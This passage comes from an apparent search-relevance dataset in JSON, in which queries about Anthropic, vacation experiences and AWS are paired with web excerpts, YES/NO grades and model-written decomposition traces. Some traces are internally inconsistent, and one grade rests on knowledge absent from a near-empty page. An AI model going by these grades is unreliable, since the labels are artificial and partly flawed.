technology investor and co-founder of Skype. The round included participation from James McClave, Dustin Moskovitz, the Center for Emerging Risk Research, Eric Schmidt, and others. To find out more about Anthropic\u2019s research agenda and approach, you can read our website and its job postings. The company is hiring researchers, engineers, and operational experts to support it in executing against its research roadmap. Find out more here: Anthropic.com.",
                "model_trace": "Query Decomposition:\n1. {Information on the startup Anthropic}: This document provides information about Anthropic, including its recent funding and research focus -> ([1], SATISFIED)\n2. {Founding story}: The document does not provide specific details about the founding story of Anthropic -> ([0], UNSURE)\n3. {Mission and values}: The document mentions Anthropic's goal to build reliable, general AI systems and to deploy these systems in a way that benefits people, which aligns with their mission and values -> ([1], SATISFIED)\n4. {Key employees}: The document mentions key employees, specifically Dario Amodei (CEO) and Daniela Amodei (President) -> ([1], SATISFIED)\n5. {How their technology works}: The document provides some insight into the types of research Anthropic is conducting, such as increasing the safety and reliability of AI systems, but does not provide detailed technical information on how their technology works -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {Information on the startup Anthropic}, {Mission and values}, and {Key employees}. Since these subcomponents are satisfied, the document is helpful for the user's request. YES."
            },
            {
                "grade": "YES",
                "title": "Company \\ Anthropic",
                "url": "https://www.anthropic.com/company",
                "published_date": null,
                "text": "Anthropic is an AI safety and research company. We build reliable, interpretable, and steerable AI systems.\n\tOur Purpose\n\t\nWe believe AI will have a vast impact on the world. Anthropic is dedicated to building systems that people can rely on and generating research about the opportunities and risks of AI.\nWe Build Safer Systems\nWe aim to build frontier AI systems that are reliable, interpretable, and steerable. We conduct frontier research, develop and apply a variety of safety techniques, and deploy the resulting systems via a set of partnerships and products.\nSafety Is a Science\nWe treat AI safety as a systematic science, conducting research, applying it to our products, feeding those insights back into our research, and regularly sharing what we learn with the world along the way.\nInterdisciplinary\nAnthropic is a collaborative team of researchers, engineers, policy experts, business leaders and operators, who bring our experience from many different domains to our work.\nAI Companies are One Piece of a Big Puzzle\nAI has the potential to fundamentally change how the world works. We view ourselves as just one piece of this evolving puzzle. We collaborate with civil society, government, academia, nonprofits and industry to promote safety industry-wide.\n\tThe Team\n\t\nWe\u2019re a team of researchers, engineers, policy experts and operational leaders, with experience spanning a variety of disciplines, all working together to build reliable and understandable AI systems.\nResearch\nWe conduct frontier AI research across a variety of modalities, and explore novel and emerging safety research areas from interpretability to RL from human feedback to policy and societal impacts analysis.\nPolicy\nWe think about the impacts of our work and strive to communicate what we\u2019re seeing at the frontier to policymakers and civil society in the US and abroad to help promote safe and reliable AI.\nProduct\nWe translate our research into tangible, practical tools like Claude that benefit businesses, nonprofits and civil society groups and their c",
                "model_trace": "Query Decomposition:\n1. [Information on the startup Anthropic]: The document provides an overview of Anthropic as an AI safety and research company -> ([1], SATISFIED)\n2. [Founding story]: The document does not provide information about the founding story -> ([0], UNSATISFIED)\n3. [Mission and values]: The document discusses the purpose, mission, and values of Anthropic -> ([1], SATISFIED)\n4. [Key employees]: The document mentions the team composition but does not provide specific names or details of key employees -> ([2], UNSURE)\n5. [How their technology works]: The document provides some insights into their approach to AI safety and research, but not detailed technical explanations -> ([2], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to [Information on the startup Anthropic], [Mission and values], and [How their technology works]. The subcomponent [Key employees] is tagged as [2] and is UNSURE, but this does not affect the overall evaluation. The subcomponent [Founding story] is tagged as [0] and is UNSATISFIED, but this is ignored in the final assessment.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Introducing Claude",
                "url": "https://www.anthropic.com/news/introducing-claude",
                "published_date": null,
                "text": "After working for the past few months with key partners like Notion, Quora, and DuckDuckGo in a closed alpha, we\u2019ve been able to carefully test out our systems in the wild, and are ready to offer Claude more broadly so it can power crucial, cutting-edge use cases at scale.  Claude is a next-generation AI assistant based on Anthropic\u2019s research into training helpful, honest, and harmless AI systems. Accessible through chat interface and API in our developer console, Claude is capable of a wide variety of conversational and text processing tasks while maintaining a high degree of reliability and predictability. Claude can help with use cases including summarization, search, creative and collaborative writing, Q&amp;A, coding, and more. Early customers report that Claude is much less likely to produce harmful outputs, easier to converse with, and more steerable - so you can get your desired output with less effort. Claude can also take direction on personality, tone, and behavior. We\u2019re offering two versions of Claude today: Claude and Claude Instant. Claude is a state-of-the-art high-performance model, while Claude Instant is a lighter, less expensive, and much faster option. We plan to introduce even more updates in the coming weeks. As we develop these systems, we'll continually work to make them more helpful, honest, and harmless as we learn more from our safety research\u00a0and our deployments. Partner Testimonials We are excited to showcase how our partners are using Claude today. We chose these companies and products with care. We\u2019re excited to support businesses and nonprofits that are empowering people with information and making them more productive in their professional and personal lives. One of our key partners, Quora,\u00a0has offered Claude to users through Poe, their AI Chat app. \u201cUsers describe Claude\u2019s answers as detailed and easily understood, and they like that exchanges feel like natural conversation,\u201d says Autumn Besselman, Head of People and Comms from Quora. \u201cClaude feels more conversational than Chat",
                "model_trace": "Query Decomposition:\n1. {information on the startup Anthropic}: The document does provide some information about Anthropic, specifically about their product Claude -> ([1], SATISFIED)\n2. {the company that created the large language model GPT-3}: The document does not mention GPT-3 or its creators -> ([0], UNSURE)\n3. {founding story}: The document does not provide information on Anthropic's founding story -> ([0], UNSATISFIED)\n4. {mission and values}: The document mentions Anthropic's focus on creating helpful, honest, and harmless AI systems, which touches on their values -> ([2], SATISFIED)\n5. {key employees}: The document does not mention any key employees of Anthropic -> ([0], UNSATISFIED)\n6. {how their technology works}: The document provides some details on how Claude works, including its capabilities and the principles behind its development -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {information on the startup Anthropic}, {mission and values}, and {how their technology works}. All these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Anthropic",
                "url": "https://en.wikipedia.org/wiki/Anthropic",
                "published_date": null,
                "text": "Toggle the table of contents\n\t\n\t\n\t\n\tFrom Wikipedia, the free encyclopedia\n\t\n\t\n Anthropic   Industry  Artificial intelligence    Founded 2021; 2\u00a0years ago   Founders    Daniela Amodei Dario Amodei      Headquarters  San Francisco, California, U.S.   Products Claude   Website  anthropic .com    \n Anthropic is an American, artificial intelligence (AI) startup and public-benefit corporation, founded by former members of OpenAI. [1]   [2]  Anthropic specializes in developing general AI systems and language models, with a company ethos of responsible AI usage. Since late 2022, Google has invested nearly $400 million in the company, with Anthropic announcing a formal partnership with Google Cloud. [3]   [4]   [5] \nHistory[edit]\nAnthropic was founded in 2021 by former senior members of OpenAI, principally siblings Daniela Amodei and Dario Amodei, the latter whom served as OpenAI's Vice President of Research. [6]   [7]   [8]  The Amodei siblings were among others who left OpenAI due to directional differences, specifically regarding OpenAI's ventures with Microsoft in 2019. [9]  \nProjects[edit]\nClaude[edit]\nConsisting of former researchers involved in OpenAI's ChatGPT, Anthropic began development on its own AI chatbot, named Claude. [10]  Similar to ChatGPT, Claude uses a messaging interface where users can submit questions or requests and receive highly-detailed and relevant responses. [11]  \n The chatbot is currently in closed beta through a Slack integration. [12] \nReferences[edit]\n \n  ^   \"ChatGPT must be regulated and A.I. 'can be used by bad actors,' warns OpenAI's CTO\". finance.yahoo.com. Retrieved 2023-02-06.\n  ^  Vincent, James (2023-02-03). \"Google invested $300 million in AI firm founded by former OpenAI researchers\". The Verge. Retrieved 2023-02-06.\n  ^   \"Google Invests Almost $400 Million in ChatGPT Rival Anthropic\". Bloomberg.com. 2023-02-03. Retrieved 2023-02-06.\n  ^   \"Google invests $300 million in Anthropic as race to compete with ChatGPT heats up\". VentureBeat. 2023-02-03. Retrieved 2023-02-06.\n  ^   \"",
                "model_trace": "Query Decomposition:\n1. {Information on the startup Anthropic}: The document provides information on Anthropic, including its founding and mission -> ([1], SATISFIED)\n2. {Founding story}: The document mentions that Anthropic was founded in 2021 by former senior members of OpenAI, specifically the Amodei siblings, and provides context on their departure from OpenAI -> ([1], SATISFIED)\n3. {Mission and values}: The document states that Anthropic has a company ethos of responsible AI usage -> ([1], SATISFIED)\n4. {Key employees}: The document mentions the founders Daniela Amodei and Dario Amodei, who are key employees -> ([1], SATISFIED)\n5. {How their technology works}: The document provides a brief overview of Anthropic's AI chatbot, Claude, and its similarity to ChatGPT -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            }
        ]
    },
    {
        "query": "I'm searching for a consumer service that can help me find and book unique vacation rentals and experiences. I want to stay in one-of-a-kind properties and do activities that let me immerse myself in the local culture, like cooking classes or guided tours.",
        "grid_pos": [
            2,
            3
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries cover a range of consumer services and goods that require significant context and external knowledge to fully address, including:\n\n1. Planning an international trip to Italy involving historical sites, cooking classes, and natural landscapes. This would require knowledge of Italy's top tourist destinations, available travel packages and services, and local activities.\n\n2. Tracking personal health and fitness metrics over time using a connected device and app. This would require familiarity with the features and capabilities of fitness tracking products.\n\n3. Learning a new language like Spanish through interactive lessons, conversation practice, and personalized feedback. This would need an understanding of language learning platforms and their pedagogical approaches.\n\n4. Staying organized and productive through task management, scheduling, and collaboration tools. This would benefit from knowledge of popular productivity apps and their key features.\n\n5. Finding and booking unique vacation rentals and experiences that immerse the user in local culture. This would draw on expertise in the vacation rental and experiential travel industries.\n\nOverall, these queries are specific, nuanced, and require a broad understanding of consumer services and products to address effectively."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Go To Platform for Unique Travel Experiences | LocalBini",
                "url": "https://localbini.com/",
                "published_date": "2023-01-01",
                "text": "Book your PERFECT Experiencewith a remarkable Local. Choose your destination Quality 100% of all hosts are vetted. Satisfaction Experiences for everyone, anyone, anywhere. Authenticity Unique, authentic, and memorable Experiences by People, for People. Discover the most unique experiences. Alina De Vos Unique experience in magical Bruges Bruges | 1h 30m From \u20ac35 per person Claude Colmar through its illustrious people Colmar | 1h 30m From \u20ac30 per person 5,00 (1) Irina SOME OF LJUBLJANA'S MILESTONES Ljubljana | 1h 45m From \u20ac13 per person Categories find experiences according to your personal interests. Adventure Architecture Art & Culture Food & Drinks History Lifestyle Nature Night Life Photography Sport Discovery Explore the most booked experiences. Co-hosted Best Intro Tour of Dusseldorf Dusseldorf | 2 hours From \u20ac40.99 per person 5,00 (1) Co-hosted Architectural Walk of Bern Bern | 1.5 hours From CHF70 per person 5,00 (2) Co-hosted Discover Belgrade\u2019s Art and Culture Belgrade | 1.5 hours From \u20ac28 per person 5,00 (1) Co-hosted Discover Freiburg in 60 minutes Freiburg | 1 hours From \u20ac37 per person 5,00 (6) Earn money sharing your passion with others.",
                "model_trace": "Query Decomposition:\n1. [consumer service that can help find and book unique vacation rentals]: The document does not mention vacation rentals -> ([0], UNSATISFIED)\n2. [consumer service that can help find and book unique experiences]: The document mentions booking unique and authentic experiences with locals -> ([1], SATISFIED)\n3. [one-of-a-kind properties]: The document does not mention properties or accommodations -> ([0], UNSATISFIED)\n4. [activities that let me immerse myself in the local culture]: The document lists various cultural activities such as guided tours and cooking classes -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {consumer service that can help find and book unique experiences} and {activities that let me immerse myself in the local culture}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "5000+",
                "url": "https://xplorpal.com/",
                "published_date": "2020-01-01",
                "text": "Traveler Login\n\nHelp\n\nFind a Local Pal\n\nDiscover Experiences\n\nDiscover unique experiences offered by locals\n\nDISCOVER\n\nUnique Experiences\n\nFind a variety of experiences in exciting locations all around the world while helping local communities\n View more experiences\n\n5000+\n\nUnique Experiences\n\n50+\n\nCountries\n\n1000+\n\nLocal Pals\n\nDISCOVER\n\nExperiences all over the world\n\nThe journey not the arrival matters.\n\nLife is either a daring adventure or nothing at all.\n\nOne\u2019s destination is never a place, but a new way of seeing things.\n\nThe world is a book and those who do not travel read only one page.\n\n\u00a9 2020 XplorPal. All Rights Reserved",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help find and book unique vacation rentals}: The document does not mention vacation rentals -> ([0], UNSURE)\n2. {consumer service that can help find and book unique experiences}: The document mentions discovering unique experiences offered by locals -> ([1], SATISFIED)\n3. {one-of-a-kind properties}: The document does not mention properties -> ([0], UNSURE)\n4. {activities that let you immerse in local culture, like cooking classes or guided tours}: The document mentions unique experiences offered by locals, which implies activities that immerse in local culture -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {consumer service that can help find and book unique experiences} and {activities that let you immerse in local culture, like cooking classes or guided tours}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "EXPLORAC",
                "url": "https://explorac.com/",
                "published_date": "2018-01-01",
                "text": "Login with Facebook\n\nLogin\n\nHome \n Blog \n About Us \n Contact\n\nSign up as a Traveler to book your next experience\n\nBecome a City Expert and start earning money\n\nEXPLORAC is a free service that connects travelers to locals who customize unique and authentic experiences in their cities\n\nPopular Experiences\n Listed Below Our Most Popular Experiences\n\nHappy Travelers\n What Are Our Travelers SAYING About Explorac\n\n\"EXPLORAC is such an unique and fun concept! Definitely enjoyed\n exploring the city with a local by my side! She was very knowledgable\n and very fun to hang out with!\"\n\n\" This is a great opportunity for travelers to escape the typical\n tourist attractions. Interacting with locals really helped me to\n understand the country's culture better!\"\n\n\"Tried out an experience in NYC and it was so much fun! The city expert\n was very nice, welcoming and very knowledgeable! Highly recommended\"",
                "model_trace": "Query Decomposition:\n1. {consumer service}: This document is about EXPLORAC, which is a consumer service -> ([1], SATISFIED)\n2. {help find and book unique vacation rentals}: The document does not mention vacation rentals, only experiences -> ([0], UNSURE)\n3. {help find and book unique experiences}: The document mentions that EXPLORAC connects travelers to locals who customize unique and authentic experiences -> ([1], SATISFIED)\n4. {one-of-a-kind properties}: The document does not mention properties, only experiences -> ([0], UNSURE)\n5. {activities that immerse in local culture}: The document mentions that EXPLORAC offers experiences that help travelers understand the country's culture better -> ([2], SATISFIED)\n6. {examples like cooking classes or guided tours}: The document mentions guided tours with locals but does not specifically mention cooking classes -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {consumer service}, {help find and book unique experiences}, {activities that immerse in local culture}, and {examples like cooking classes or guided tours}. Since all of these subcomponents are SATISFIED, the document is helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "Vrbo | Book Your Vacation Home Rentals: Beach Houses, Cabins ...",
                "url": "https://www.vrbo.com/",
                "published_date": null,
                "text": "Find your place for together     Get inspired for a family trip   Find spaces that suit your style        Peace of mind Our Book with Confidence guarantee gives you 24/7 support       All the privacy of home Enjoy full kitchens, laundry, pools, yards and more       More for less More space, more privacy, more amenities \u2014 more value       A place for everyone We stand for diversity, inclusion and families everywhere.   Learn more       Discover what Vrbo is all about\nWith over 2 million bookable vacation rentals, Vrbo connects homeowners with families and vacationers looking for something more than a hotel for their trip. The Vrbo community offers families an array of rental property types such as\u00a0 condos,\u00a0 cabins,\u00a0 lake rentals,\u00a0 beach houses, and more. Discover properties in destinations that everyone dreams of visiting. All it takes is a quick Vrbo property search to securely book your next condo, cabin, or house anywhere in the world. If you're traveling with a large\u00a0 group, you can find rental homes on Vrbo that give you the space and comfort you need without sacrificing the amenities that matter most, all within your budget. \nHere\u2019s what makes a vacation rental perfect for you\nWhether you're planning a\u00a0 family vacation\u00a0with your\u00a0 pet, a relaxing\u00a0 weekend getaway, or an adventurous excursion, vacation rentals are ideal for trips of all types. You can find everything from charming\u00a0 mountain cabins\u00a0and lakeside lodges to breathtaking\u00a0 city apartments\u00a0and\u00a0 luxury homes, or anything in between, all with an array of features to make your trip more comfortable and convenient. Staying in a vacation home, you'll enjoy amenities like extra bedrooms or a full kitchen with appliances, making it much easier to enjoy a stress-free trip with the family. You can also find vacation home rentals with additional features such as\u00a0 waterfront views, a\u00a0 private pool\u00a0or\u00a0 hot tub, or outdoor entertainment space.    More vacation ideas",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help find and book unique vacation rentals}: Vrbo is a service that helps users find and book vacation rentals, so this subcomponent is satisfied -> ([1], SATISFIED)\n2. {unique vacation rentals}: Vrbo offers a variety of rental properties such as condos, cabins, lake rentals, and beach houses, which can be considered unique -> ([1], SATISFIED)\n3. {experiences that let users immerse in local culture, like cooking classes or guided tours}: The document does not mention any experiences or activities like cooking classes or guided tours -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponents related to finding and booking unique vacation rentals but does not address the need for immersive local experiences. Therefore, it is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Airbnb Alternatives: House Sitting, Glamping, & Boutique Hotels",
                "url": "https://nomadflag.com/airbnb-alternatives/",
                "published_date": null,
                "text": "Airbnb is one of the most popular vacation rental websites and long-term rental booking platforms. The company has completely transformed the short-term rental marketplace, as well as deeply affecting the long-term rental property market. Whether you feel that Airbnb is a savior or a demon, you have more accommodation alternatives to choose from than ever before. \nAirbnb\u2019s vacation rental marketplace might be eating the travel world, but it is definitely not the only option available. Don\u2019t get me wrong, I like staying in Airbnb properties. But also I like to broaden my horizons and experience new things. Airbnb used to be the alternative, but now it\u2019s the corporate mainstream.\nIn discussions on Twitter, in forums, and among friends, I\u2019ve always defended Airbnb. Although the service gets a lot of criticism, it has served many travelers well. Airbnb also has some aspects that no other service has been able to copy or improve on.\u00a0After 8 years of using the service, it\u2019s clear that it isn\u2019t the same as it used to be. It seems Airbnb doesn\u2019t care anymore. Did they ever? After all, the goal of a corporation is to maximize profits.\nAnd then there\u2019s the phenomenon known as Airbnb fees, which are bordering on ridiculous.\n \n \nThere is also the issue of investors buying up entire apartment blocks, evicting the tenants, and renting the properties out as short-term Airbnb assets. Many of the world\u2019s most interesting cities have become shells of their former selves. Dublin, where I grew up, is nothing but coffee shops and Airbnbs. Although, I must admit I enjoy the coffee shops.\u00a0To learn how Airbnb and horrible companies like Blackstone are sucking the lifeblood from cities and turning ordinary citizens into modern-day serfs, listen to the podcast Pushback Talks and watch the documentary Push.\u00a0\nDuring the pandemic, I stayed in a luxury suite in a 5-star hotel for a\u00a0 month for \u20ac1400\u00a0 but I can\u2019t claim any major travel hacking status. It just took a bit of research to see that businesses were crying out for customers after a ye",
                "model_trace": "Query Decomposition:\n1. {Consumer service that can help find and book unique vacation rentals}: The document discusses alternatives to Airbnb, which could potentially include services that offer unique vacation rentals -> ([1], SATISFIED)\n2. {One-of-a-kind properties}: The document mentions alternatives to Airbnb, which implies the possibility of unique properties but does not provide specific examples -> ([2], UNSURE)\n3. {Experiences that let users immerse in local culture}: There is no mention of cultural experiences like cooking classes or guided tours -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Consumer service that can help find and book unique vacation rentals} and {One-of-a-kind properties}. The document satisfies the first subcomponent but is unsure on the second. Since the document does not mention cultural experiences, it does not fully satisfy the user's intent. NO."
            },
            {
                "grade": "YES",
                "title": "Airbnb | Vacation rentals, cabins, beach houses, & more",
                "url": "https://www.airbnb.com/",
                "published_date": null,
                "text": "Skip to content\n We\u2019re sorry, some parts of the Airbnb website don\u2019t work properly without JavaScript enabled.\n Show map",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help find and book unique vacation rentals}: The document is about Airbnb, which is a well-known platform for finding and booking unique vacation rentals -> ([1], SATISFIED)\n2. {one-of-a-kind properties}: Airbnb is known for offering unique and diverse properties, including cabins, beach houses, and more -> ([1], SATISFIED)\n3. {activities that let users immerse in local culture, like cooking classes or guided tours}: While the document does not explicitly mention activities, Airbnb does offer experiences such as cooking classes and guided tours -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            }
        ]
    },
    {
        "query": "I'm researching the history and business model of Amazon Web Services (AWS). I need details on when AWS was founded, how it has grown to become the dominant cloud computing platform, its key services and product offerings, and how it competes with other major cloud providers like Microsoft Azure and Google Cloud.",
        "grid_pos": [
            2,
            4
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The provided queries are all focused on finding information about specific companies, startups, or technology products/services. They require a good understanding of the business landscape, competitive dynamics, and technical details to answer thoroughly. The queries cover a range of industries and use cases, from cloud computing and HR software to chatbots and productivity tools. Answering these queries well would demonstrate the search engine's ability to surface relevant, in-depth information from a variety of sources to meet the user's research needs."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "History of AWS",
                "url": "https://studysection.com/blog/history-of-aws/",
                "published_date": "2019-06-13",
                "text": "Introduction \nAmazon Web Services (AWS) was introduced by the e-commerce behemoth Amazon in March 2006, quickly growing into a corporation that has fundamentally transformed the IT industry in a period of widespread cloud computing and carved out a market-leading status. Synergy Research Group\u2019s values in 2018 peg AWS as the clear market leader worldwide for public IaaS and PaaS service revenues, at 40% of the total market share, followed by Microsoft at 17%, Google at 8% and Alibaba at 5%. Still, Microsoft and Google have improved their focus on public cloud in recent years, and present a notable threat to AWS as large businesses analyse how to move more workloads out of the data centre. At the same time, cloud uptake is thought of in some portions to still very much be in its cradle \u2013 Gartner, for one, predicts the worldwide IaaS market to grow to $71.5 billion by 2020, so there is plenty of markets to go around.\n How did AWS reach this point?\n\nAmazon Web Services launches (2002)- It was actually back in 2002 that AWS was formally launched, as a free service that allowed companies to incorporate Amazon.com features on their own sites. The early version of the business was aimed at helping developers \u201cbuild applications and tools that will allow them to incorporate many of the unique features of Amazon.com into their websites\u201d.\n S3 and EC2 released (2006)- It wasn\u2019t until a few years later, in 2006, that AWS formally launched with its first cloud products, enabling businesses to build their own applications using Amazon\u2019s infrastructure. First was Simple Storage Service (S3), followed by Elastic Compute Cloud \u2013 or EC2 \u2013 its server rental and hosting service. EC2 has been added to over the years, with various instance types offering different configurations of CPU, memory, storage and networking capacity, for example. Both remain highly popular products for AWS customers.\n Competition heats up as Google and Microsoft launch cloud services (2008)- Two years after launching its cloud services, Google joined the mar",
                "model_trace": "Query Decomposition:\n1. [When AWS was founded]: The document states that AWS was introduced in March 2006 and mentions an earlier launch in 2002 -> ([1], SATISFIED)\n2. [How AWS has grown to become the dominant cloud computing platform]: The document discusses AWS's market-leading status and its growth to 40% market share by 2018 -> ([1], SATISFIED)\n3. [Key services and product offerings]: The document mentions key services like S3 and EC2 and provides some details about them -> ([1], SATISFIED)\n4. [How AWS competes with other major cloud providers like Microsoft Azure and Google Cloud]: The document mentions competition from Microsoft and Google and provides some context about their market shares and strategies -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "What is AWS",
                "url": "https://aws.amazon.com/what-is-aws/",
                "published_date": "2023-03-23",
                "text": "Cloud computing with AWS \n Amazon Web Services (AWS) is the world\u2019s most comprehensive and broadly adopted cloud, offering over 200 fully featured services from data centers globally. Millions of customers\u2014including the fastest-growing startups, largest enterprises, and leading government agencies\u2014are using AWS to lower costs, become more agile, and innovate faster.\n\nCloud computing with AWS \n Amazon Web Services (AWS) is the world\u2019s most comprehensive and broadly adopted cloud, offering over 200 fully featured services from data centers globally. Millions of customers\u2014including the fastest-growing startups, largest enterprises, and leading government agencies\u2014are using AWS to lower costs, become more agile, and innovate faster.\n\nThe leading cloud\n\nMost functionality\n\nAWS has significantly more services , and more features within those services, than any other cloud provider\u2013from infrastructure technologies like compute, storage, and databases\u2013to emerging technologies, such as machine learning and artificial intelligence, data lakes and analytics, and Internet of Things. This makes it faster, easier, and more cost effective to move your existing applications to the cloud and build nearly anything you can imagine. \n AWS also has the deepest functionality within those services. For example, AWS offers the widest variety of databases that are purpose-built for different types of applications so you can choose the right tool for the job to get the best cost and performance.\n\nMost functionality\n\nAWS has significantly more services , and more features within those services, than any other cloud provider\u2013from infrastructure technologies like compute, storage, and databases\u2013to emerging technologies, such as machine learning and artificial intelligence, data lakes and analytics, and Internet of Things. This makes it faster, easier, and more cost effective to move your existing applications to the cloud and build nearly anything you can imagine. \n AWS also has the deepest functionality within those services. For example, A",
                "model_trace": "Query Decomposition:\n1. {When AWS was founded}: The document does not provide information on when AWS was founded -> ([0], UNSATISFIED)\n2. {How AWS has grown to become the dominant cloud computing platform}: The document mentions AWS as the world\u2019s most comprehensive and broadly adopted cloud, but does not provide historical growth details -> ([0], UNSATISFIED)\n3. {Key services and product offerings}: The document lists several key services and product offerings like compute, storage, databases, machine learning, AI, data lakes, analytics, and IoT -> ([1], SATISFIED)\n4. {How AWS competes with other major cloud providers like Microsoft Azure and Google Cloud}: The document mentions that AWS has significantly more services and features than any other cloud provider, implying competition with others like Microsoft Azure and Google Cloud -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {key services and product offerings} and {how AWS competes with other major cloud providers}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Amazon AWS Reviews, Competitors and Pricing",
                "url": "https://www.peerspot.com/products/amazon-aws-reviews",
                "published_date": "2021-06-17",
                "text": "Amazon AWS is the #2 ranked solution in top Infrastructure as a Service Clouds and PaaS Services. PeerSpot users give Amazon AWS an average rating of 8.4 out of 10.\nAmazon AWS is most commonly compared to Microsoft Azure: Amazon AWS vs Microsoft Azure. Amazon AWS is popular among the large enterprise segment,\naccounting for 70% of users researching this solution on PeerSpot. The top industry researching this solution are professionals from a\ncomputer software company, accounting for 17% of all views. Amazon AWS Buyer's Guide Download the Amazon AWS Buyer's Guide including reviews and more. Updated: February 2023 What is Amazon AWS? \n Amazon Web Services (AWS) is an adopted cloud platform that offers more than 200 fully featured services from data centers located across the globe. This is a scalable, low-cost infrastructure platform in the cloud that is utilized by thousands of businesses of different sizes around the world. The product offers a wide variety of solutions for its customers, which allows them to launch applications regardless of their industry. The most common use cases for AWS are:\n\nApplication hosting: Clients can take advantage of on-demand infrastructure to power their applications. The product supports multiple types of apps, varying from hosted internal applications to software as a service (SaaS) offerings.\n\nWebsites: With AWS, clients can satisfy their web hosting needs through a scalable platform for their websites.\n\nBackup and storage: AWS offers reliable data storage services, which allow clients to store their data and build dependable backups for all of their valuable information.\n\nEnterprise IT: The product allows companies to host internal- or external-facing IT applications in a highly secure environment.\n\nContent delivery: Users who want to distribute content to end users worldwide can do so quickly and easily through the high data transfer speeds of this solution.\n\nDatabases: AWS offers a variety of database solutions, which include hosted enterprise database software as well as no",
                "model_trace": "Query Decomposition:\n1. [When AWS was founded]: The document does not provide information on the founding date of AWS -> ([0], UNSATISFIED)\n2. [How AWS has grown to become the dominant cloud computing platform]: The document does not provide historical growth information -> ([0], UNSATISFIED)\n3. [Key services and product offerings]: The document lists various key services and product offerings of AWS, such as application hosting, websites, backup and storage, enterprise IT, content delivery, and databases -> ([1], SATISFIED)\n4. [How AWS competes with other major cloud providers like Microsoft Azure and Google Cloud]: The document mentions that AWS is commonly compared to Microsoft Azure, but does not provide detailed competitive analysis -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {key services and product offerings} and {how AWS competes with other major cloud providers like Microsoft Azure and Google Cloud}. While the document satisfies the key services and product offerings subcomponent, it is unsure about the competitive analysis. Therefore, the document does not fully meet the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "What Is Amazon Web Services, and Why Is It So Successful?",
                "url": "https://www.investopedia.com/articles/investing/011316/what-amazon-web-services-and-why-it-so-successful.asp",
                "published_date": null,
                "text": "Amazon Web Services (AWS), the cloud platform offered by Amazon.com Inc\u00a0(AMZN), has become a giant component of the e-commerce giant's business portfolio. In the second quarter of 2021, AWS brought in a record $14.8 billion in net sales, accounting for just over 13% of Amazon's total net sales. Having grown steadily in the 30% range the past few quarters, AWS is a frontrunner to other cloud computing platforms such as competitor Microsoft Azure.\nSo what is AWS and why is it so lucrative and successful for Amazon?\nKey Takeaways\n As the lead cloud computing platform, Amazon Web Services (AWS) is the primary profit driver for Amazon. AWS provides servers, storage, networking, remote computing, email, mobile development, and security. AWS accounts for about 13% of Amazon's total revenue as of Q2 2021. Amazon controls more than a third of the cloud market, almost twice its next closest competitor.  \n \nAWS is made up of many different cloud computing products and services. The highly profitable division of Amazon provides servers, storage, networking, remote computing, email, mobile development, and security. AWS can be broken into three main products: EC2, Amazon\u2019s virtual machine service, Glacier, a low-cost cloud storage service, and S3, Amazon\u2019s storage system.\nAWS is so large and present in the computing world that it's far outpaced its competitors. As of the first quarter of 2021, one independent analyst reports AWS has over a third of the market at 32.4%, with Azure following behind at 20%, and Google Cloud at 9%.\nAWS has 81 availability zones in which its servers are located. These serviced regions are divided in order to allow users to set geographical limits on their services (if they so choose), but also to provide security by diversifying the physical locations in which data is held.\u00a0Overall, AWS spans 245 countries and territories.\n \nJeff Bezos has likened Amazon Web Services to the utility companies of the early 1900s. One hundred years ago, a factory needing electricity would build its own power plant bu",
                "model_trace": "Query Decomposition:\n1. {When AWS was founded}: The document does not provide information on the founding date of AWS -> ([0], UNSURE)\n2. {How AWS has grown to become the dominant cloud computing platform}: The document mentions AWS's growth in net sales and its market share compared to competitors -> ([1], SATISFIED)\n3. {Key services and product offerings of AWS}: The document lists key AWS services and products such as EC2, Glacier, and S3 -> ([1], SATISFIED)\n4. {How AWS competes with other major cloud providers like Microsoft Azure and Google Cloud}: The document provides market share comparisons with Microsoft Azure and Google Cloud -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {how AWS has grown to become the dominant cloud computing platform}, {key services and product offerings of AWS}, and {how AWS competes with other major cloud providers like Microsoft Azure and Google Cloud}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "What is AWS? - Cloud Computing with AWS - Amazon Web Services",
                "url": "https://aws.amazon.com/what-is-aws/",
                "published_date": null,
